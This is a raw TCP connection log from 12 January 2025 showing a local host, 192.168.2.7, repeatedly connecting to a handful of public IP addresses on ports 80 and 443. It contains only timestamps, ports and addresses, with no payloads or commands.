Jan 12, 2025 09:26:54.940540075 CET	50030	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:54.940557957 CET	443	50030	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:55.195628881 CET	80	50023	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:55.196255922 CET	80	50023	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:55.196316004 CET	50023	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:55.197627068 CET	50023	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:55.198209047 CET	50031	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:55.198252916 CET	443	50031	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:55.198575974 CET	50031	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:55.202641010 CET	80	50023	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:55.207046032 CET	50031	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:55.207110882 CET	443	50031	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:55.207180977 CET	50031	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:55.217799902 CET	50032	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:55.223598003 CET	80	50032	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:55.223722935 CET	50032	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:55.225296021 CET	50032	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:55.231230021 CET	80	50032	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:55.397439957 CET	443	50030	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:55.397514105 CET	50030	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:55.540333986 CET	50030	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:55.540488958 CET	443	50030	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:55.540561914 CET	50030	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:55.549020052 CET	50033	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:55.549048901 CET	443	50033	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:55.549107075 CET	50033	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:55.549217939 CET	50033	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:55.549307108 CET	443	50033	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:55.551717043 CET	50033	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:55.555500984 CET	50034	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:55.560355902 CET	80	50034	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:55.560889006 CET	50034	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:55.563457966 CET	50034	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:55.568191051 CET	80	50034	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:55.687144041 CET	80	50032	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:55.688226938 CET	80	50032	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:55.688287020 CET	50032	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:55.699512959 CET	50032	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:55.703486919 CET	50035	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:55.703515053 CET	443	50035	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:55.703593969 CET	50035	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:55.704315901 CET	80	50032	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:55.704349995 CET	50035	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:55.704396009 CET	443	50035	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:55.704663992 CET	50035	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:55.737809896 CET	50036	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:55.743159056 CET	80	50036	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:55.745795012 CET	50036	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:55.746520042 CET	50036	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:55.751240015 CET	80	50036	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:56.016355038 CET	80	50034	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:56.016428947 CET	50034	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:56.017118931 CET	50042	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:56.017163992 CET	443	50042	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:56.017267942 CET	80	50034	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:56.017340899 CET	50042	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:56.017354965 CET	50034	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:56.017376900 CET	50042	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:56.017502069 CET	443	50042	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:56.017582893 CET	50042	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:56.018035889 CET	50043	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:56.021239042 CET	80	50034	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:56.022881985 CET	80	50043	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:56.022965908 CET	50043	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:56.022967100 CET	50043	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:56.027776003 CET	80	50043	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:56.193901062 CET	80	50036	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:56.193989038 CET	50036	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:56.194645882 CET	80	50036	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:56.194694996 CET	50036	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:56.196657896 CET	50046	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:56.196772099 CET	443	50046	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:56.196855068 CET	50046	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:56.197397947 CET	50046	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:56.197436094 CET	443	50046	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:56.198774099 CET	80	50036	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:56.491660118 CET	80	50043	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:56.491925955 CET	80	50043	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:56.491941929 CET	50043	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:56.492041111 CET	50043	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:56.492414951 CET	50047	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:56.492453098 CET	443	50047	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:56.492516041 CET	50047	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:56.492633104 CET	50047	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:56.492701054 CET	443	50047	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:56.492789984 CET	50047	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:56.493019104 CET	50048	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:56.496824980 CET	80	50043	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:56.497904062 CET	80	50048	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:56.497967958 CET	50048	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:56.498018980 CET	50048	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:56.502803087 CET	80	50048	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:56.671740055 CET	443	50046	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:56.671813011 CET	50046	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:56.673038960 CET	50046	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:56.673096895 CET	443	50046	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:56.673154116 CET	50046	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:56.673613071 CET	50051	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:56.673666000 CET	443	50051	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:56.673742056 CET	50051	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:56.673742056 CET	50051	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:56.673866987 CET	443	50051	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:56.673950911 CET	50051	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:56.674118042 CET	50052	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:56.678929090 CET	80	50052	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:56.678989887 CET	50052	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:56.679006100 CET	50052	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:56.683775902 CET	80	50052	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:56.966150999 CET	80	50048	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:56.966226101 CET	50048	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:56.966813087 CET	50056	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:56.966851950 CET	443	50056	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:56.966912985 CET	50056	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:56.966938972 CET	50056	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:56.967050076 CET	443	50056	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:56.967101097 CET	50056	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:56.967225075 CET	80	50048	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:56.967288017 CET	50048	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:56.967437029 CET	50057	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:56.971048117 CET	80	50048	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:56.972234964 CET	80	50057	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:56.972333908 CET	50057	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:56.972333908 CET	50057	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:56.977119923 CET	80	50057	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:57.133270979 CET	80	50052	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:57.133371115 CET	50052	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:57.133966923 CET	50058	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:57.133991957 CET	443	50058	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:57.134025097 CET	80	50052	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:57.134090900 CET	50052	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:57.134104013 CET	50058	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:57.134133101 CET	50058	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:57.134229898 CET	443	50058	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:57.134491920 CET	50059	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:57.134526014 CET	50058	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:57.138166904 CET	80	50052	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:57.139372110 CET	80	50059	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:57.139481068 CET	50059	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:57.139667988 CET	50059	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:57.144479036 CET	80	50059	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:57.439148903 CET	80	50057	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:57.439274073 CET	50057	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:57.439358950 CET	80	50057	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:57.439543009 CET	50057	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:57.441303015 CET	50066	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:57.441360950 CET	443	50066	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:57.441658974 CET	50066	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:57.441878080 CET	50066	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:57.441906929 CET	443	50066	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:57.444127083 CET	80	50057	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:57.609009981 CET	80	50059	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:57.609138012 CET	50059	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:57.609682083 CET	50068	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:57.609791994 CET	443	50068	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:57.609908104 CET	50068	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:57.609908104 CET	50068	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:57.610085011 CET	443	50068	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:57.610271931 CET	80	50059	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:57.610315084 CET	50068	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:57.610379934 CET	50059	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:57.610378981 CET	50069	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:57.613903999 CET	80	50059	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:57.615159035 CET	80	50069	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:57.615297079 CET	50069	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:57.615297079 CET	50069	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:57.620117903 CET	80	50069	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:57.912962914 CET	443	50066	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:57.913099051 CET	50066	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:57.914769888 CET	50066	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:57.914772034 CET	50070	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:57.914817095 CET	443	50070	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:57.914822102 CET	443	50066	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:57.914906979 CET	50070	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:57.914907932 CET	50066	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:57.915002108 CET	50070	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:57.915041924 CET	443	50070	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:57.915337086 CET	50071	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:57.915396929 CET	50070	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:57.920243979 CET	80	50071	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:57.920340061 CET	50071	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:57.920340061 CET	50071	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:57.925175905 CET	80	50071	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:58.068639040 CET	80	50069	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:58.068837881 CET	50069	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:58.069180012 CET	80	50069	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:58.069233894 CET	50069	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:58.069350958 CET	50072	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:58.069385052 CET	443	50072	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:58.069489956 CET	50072	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:58.069520950 CET	50072	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:58.069633007 CET	443	50072	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:58.069716930 CET	50072	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:58.070230961 CET	50073	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:58.073779106 CET	80	50069	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:58.075062990 CET	80	50073	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:58.076056957 CET	50073	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:58.076105118 CET	50073	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:58.080913067 CET	80	50073	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:58.381714106 CET	80	50071	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:58.381910086 CET	80	50071	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:58.382019997 CET	50071	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:58.382339001 CET	50071	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:58.386538029 CET	50079	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:58.386567116 CET	443	50079	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:58.386639118 CET	50079	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:58.387156963 CET	80	50071	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:58.390239954 CET	50079	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:58.390289068 CET	443	50079	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:58.390347004 CET	50079	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:58.394140005 CET	50080	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:58.399049044 CET	80	50080	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:58.403249025 CET	50080	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:58.405452013 CET	50080	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:58.410223007 CET	80	50080	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:58.533907890 CET	80	50073	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:58.535099030 CET	80	50073	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:58.535304070 CET	50073	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:58.536833048 CET	50073	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:58.541591883 CET	80	50073	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:58.571279049 CET	50083	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:58.571325064 CET	443	50083	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:58.571398973 CET	50083	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:58.592168093 CET	50083	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:58.592191935 CET	443	50083	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:58.857256889 CET	80	50080	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:58.858340979 CET	80	50080	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:58.862442970 CET	50080	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:58.875257015 CET	50080	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:58.879986048 CET	80	50080	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:58.885577917 CET	50084	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:58.885668993 CET	443	50084	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:58.885961056 CET	50084	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:58.933111906 CET	50084	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:58.933203936 CET	443	50084	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:58.933264017 CET	50084	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:58.965358973 CET	50085	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:58.970172882 CET	80	50085	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:58.970241070 CET	50085	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:58.970473051 CET	50085	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:58.975310087 CET	80	50085	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:59.072547913 CET	443	50083	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:59.072624922 CET	50083	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:59.134587049 CET	50083	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:59.134721041 CET	443	50083	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:59.134804010 CET	50083	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:59.157560110 CET	50086	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:59.157578945 CET	443	50086	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:59.157641888 CET	50086	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:59.157677889 CET	50086	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:59.157783985 CET	443	50086	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:59.157835007 CET	50086	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:59.163002014 CET	50087	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:59.167850971 CET	80	50087	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:59.167932034 CET	50087	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:59.173010111 CET	50087	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:59.177752972 CET	80	50087	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:59.420799017 CET	80	50085	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:59.421538115 CET	80	50085	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:59.421593904 CET	50085	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:59.423465014 CET	50085	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:59.425734043 CET	50093	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:59.425772905 CET	443	50093	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:59.425828934 CET	50093	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:59.426204920 CET	50093	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:59.426311016 CET	443	50093	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:59.426367044 CET	50093	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:59.427021027 CET	50094	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:59.428308010 CET	80	50085	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:59.431844950 CET	80	50094	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:59.431895971 CET	50094	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:59.431917906 CET	50094	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:59.436716080 CET	80	50094	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:59.693499088 CET	80	50087	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:59.693607092 CET	50087	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:59.693845034 CET	80	50087	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:59.693902969 CET	50087	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:59.694225073 CET	50095	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:59.694271088 CET	443	50095	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:59.694328070 CET	50095	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:59.694355965 CET	50095	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:59.694592953 CET	443	50095	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:59.694653034 CET	50095	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:59.694789886 CET	50096	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:59.698455095 CET	80	50087	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:59.699588060 CET	80	50096	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:59.699649096 CET	50096	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:59.699696064 CET	50096	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:59.704526901 CET	80	50096	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:59.960928917 CET	80	50094	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:59.961010933 CET	50094	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:59.962433100 CET	80	50094	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:59.962475061 CET	50094	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:59.963551998 CET	50099	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:59.963593960 CET	443	50099	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:59.963666916 CET	50099	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:59.964731932 CET	50099	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:59.964745045 CET	443	50099	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:59.965871096 CET	80	50094	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:00.189785004 CET	80	50096	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:00.189861059 CET	50096	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:00.190351963 CET	50105	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:00.190387964 CET	443	50105	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:00.190491915 CET	50105	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:00.190548897 CET	50105	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:00.190603971 CET	443	50105	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:00.190656900 CET	50105	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:00.190937042 CET	50106	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:00.191065073 CET	80	50096	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:00.191140890 CET	50096	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:00.194638968 CET	80	50096	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:00.195785999 CET	80	50106	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:00.195849895 CET	50106	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:00.195873022 CET	50106	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:00.200664043 CET	80	50106	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:00.425002098 CET	443	50099	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:00.425091982 CET	50099	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:00.426376104 CET	50099	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:00.426548004 CET	443	50099	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:00.426615953 CET	50099	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:00.427061081 CET	50107	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:00.427089930 CET	443	50107	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:00.427143097 CET	50107	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:00.427165031 CET	50107	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:00.427258968 CET	443	50107	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:00.427494049 CET	50107	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:00.427639008 CET	50108	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:00.432523966 CET	80	50108	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:00.432606936 CET	50108	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:00.432697058 CET	50108	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:00.437438011 CET	80	50108	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:00.669436932 CET	80	50106	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:00.669574022 CET	50106	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:00.669827938 CET	80	50106	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:00.669876099 CET	50106	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:00.670264006 CET	50109	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:00.670367002 CET	443	50109	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:00.670703888 CET	50109	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:00.670778036 CET	50109	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:00.671058893 CET	50110	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:00.671101093 CET	443	50109	104.21.64.1	192.168.2.7
